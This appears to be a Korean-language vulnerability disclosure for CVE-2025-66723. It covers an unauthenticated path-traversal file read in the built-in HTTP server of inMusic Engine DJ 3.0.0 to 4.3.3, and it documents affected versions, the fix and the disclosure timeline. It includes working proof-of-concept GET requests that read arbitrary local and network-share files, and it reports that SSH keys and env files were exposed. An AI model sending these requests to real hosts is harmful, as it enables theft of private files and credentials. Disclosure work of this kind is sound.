audiopump/cve-2025-66723CVE-2025-66723: inMusic Brands Engine DJ >=3.0.0에서 <4.3.4까지 로컬 및 네트워크 파일을 외부 당사자에게 노출합니다.
inMusic Brands 소프트웨어 Engine DJ에는 네트워크에 연결된 클라이언트로 미디어 라이브러리 파일을 전송하기 위한 내장 HTTP 서버가 포함되어 있습니다. 미디어 파일은 파일 시스템 경로로 참조됩니다. Engine DJ는 클라이언트를 인증하거나 요청된 파일 시스템 경로를 제한하지 않습니다. 이로 인해 공격자가 영향을 받는 시스템에서 민감한 로컬 또는 네트워크 접근 가능 파일을 유출할 수 있습니다.
공격자는 영향을 받는 호스트에 대한 네트워크 액세스만 필요하며, 인증이나 사전 상호작용이 필요하지 않습니다.
2025년 11월 17일에 출시된 Engine DJ v4.3.4에는 완화 조치가 포함되어 있습니다. 사용자는 가능한 한 빨리 업그레이드하는 것이 좋습니다.
CVSS v3.1 기본 점수: 7.5 (높음)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Engine DJ >=3.0.0, <4.3.4, 모든 플랫폼(macOS, Windows).
구체적으로 테스트된 취약한 버전(macOS 및 Windows):
3.0.0, 3.0.1, 3.1.0, 3.1.1, 3.2.0, 3.3.0, 3.4.0,
4.0.0, 4.0.1, 4.1.0, 4.2.0, 4.2.1, 4.3.0
구체적으로 테스트된 취약하지 않은 버전(macOS 및 Windows):
2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.2.0, 2.2.1, 2.2.2, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
4.3.4
시작되면 Engine DJ는 localhost를 제외한 모든 IPv4 네트워크 인터페이스에서 포트 :50020에 바인딩됩니다.
클라이언트는 포트 :50010의 별도 gRPC 서비스를 사용하여 액세스를 요청하고 미디어 파일을 검색하도록 설계되었습니다. 원하는 미디어 파일 경로를 찾으면 클라이언트는 포트 :50020으로 HTTP 요청을 다시 보냅니다.
GET /download/%3CC%3A%2FMusic%2Ftest.flac%3E HTTP/1.1
Host: 192.0.2.1:50020
User-Agent: EngineOS/1.0 DenonDJ
Accept: */*
HTTP/1.1 200 OK
Content-Length: 37517194
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
…
참고: 디코딩되면 위의 GET 경로는 단순히 다음과 같습니다:
/download/<C:/Music/test.flac>
요청 시 이러한 문자를 퍼센트 인코딩할 필요는 없습니다.
공격자는 경로를 알고 있는 한 Engine DJ 소프트웨어가 실행 중인 사용자가 접근할 수 있는 모든 것을 요청할 수 있습니다. 이 예에서는 테스트를 위해 텍스트 파일이 사용됩니다:
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 200 OK
Content-Length: 40
Content-Type: application/octet-stream
Keep-Alive: timeout=5, max=5
INSECURE...
From text file test.txt
개념 증명 실험실 테스트 중에 접근된 파일에는 개인 SSH 키 및 환경 파일이 포함되었습니다.
요청된 경로는 로컬 파일에 국한되지 않습니다. 네트워크 경로도 호스트의 권한에 따라 접근 가능한 것으로 확인되었습니다:
/download/<//EXAMPLE-SERVER/C$/secret.txt>
다행히 서버의 응답에는 Access-Control-Allow-Origin 헤더나 관련 헤더가 없습니다. 따라서 일반 웹 기반 클라이언트에서는 파일에 접근할 수 없습니다. 특정 브라우저 확장 프로그램이나 플래그를 사용하여 교차 출처 요청 제한을 완화할 수 있지만 일반적이지 않습니다.
포트 :50020의 IPv4 네트워크 트래픽을 사용하여 Engine DJ가 사용 중인지 추측할 수 있지만, 호스트가 취약한지 여부를 나타내지는 않습니다. 내장 서버는 응답에서 자신을 식별하지 않으며, 취약한 버전과 취약하지 않은 버전의 Engine DJ 사이에 측정 가능한 차이가 없는 것으로 보입니다. 따라서 존재하는 것으로 알려진 파일을 요청하지 않고는 호스트의 취약 여부를 외부에서 판단할 수 없는 것으로 보입니다.
발견 직후, inMusic Brands에 기술 지원 채널을 통해 취약점이 통보되었습니다. 대응은 전문적이고 신속했으며, 2025년 11월 17일에 macOS와 Windows 모두를 위해 v4.3.4의 일부로 문제에 대한 완화 조치가 출시되었습니다.
미디어 파일은 여전히 인증/권한 부여 없이 다운로드할 수 있지만, 요청 가능한 경로는 이제 화이트리스트에 등록되어 미디어 라이브러리 외부의 파일에 접근하려는 시도가 불가능합니다. 사용자는 화이트리스트에 없는 항목에 대해 존재하지 않더라도 403 응답을 받게 됩니다.
GET /download/<C:/Users/USERNAME/test.txt> HTTP/1.1
Host: 192.0.2.1:50020
HTTP/1.1 403 Forbidden
Content-Length: 17
Content-Type: text/html
Keep-Alive: timeout=5, max=5
…
최신 Engine DJ 릴리스의 공식 다운로드는 공식 Engine DJ 웹사이트에서 찾을 수 있습니다:
이 보고서에 대한 문의 사항은 작성자에게 연락해 주십시오:
Brad Isbell, AudioPump, Inc. [email protected]